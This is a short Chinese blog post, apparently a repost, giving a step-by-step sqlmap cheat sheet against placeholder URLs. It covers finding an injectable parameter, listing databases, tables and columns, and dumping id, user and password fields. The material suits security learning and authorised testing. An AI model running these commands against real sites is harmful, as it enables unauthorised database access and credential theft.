SQLMAP

python sqlmap.py sqlmap -u http://xxx.xxx.com/index.php?id=1

(1) 查找数据库

python sqlmap.py -u " http://xxx.xxx.com/index.php?id=1" --dbs

(2) 通过第一步的数据库查找表(假如数据库名为dataname)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables

(3) 通过2中的表得出列名(假如表为table_name)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns

(4) 获取字段的值(假如扫描出id,user,password字段)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump

来源
https://www.cnblogs.com/ichunqiu/p/5805108.html

posted @ 2026-06-03 10:33  海棠依旧Attacco  阅读(6)  评论(0)    收藏  举报

秋雨不问梧桐意,春风不解海棠情。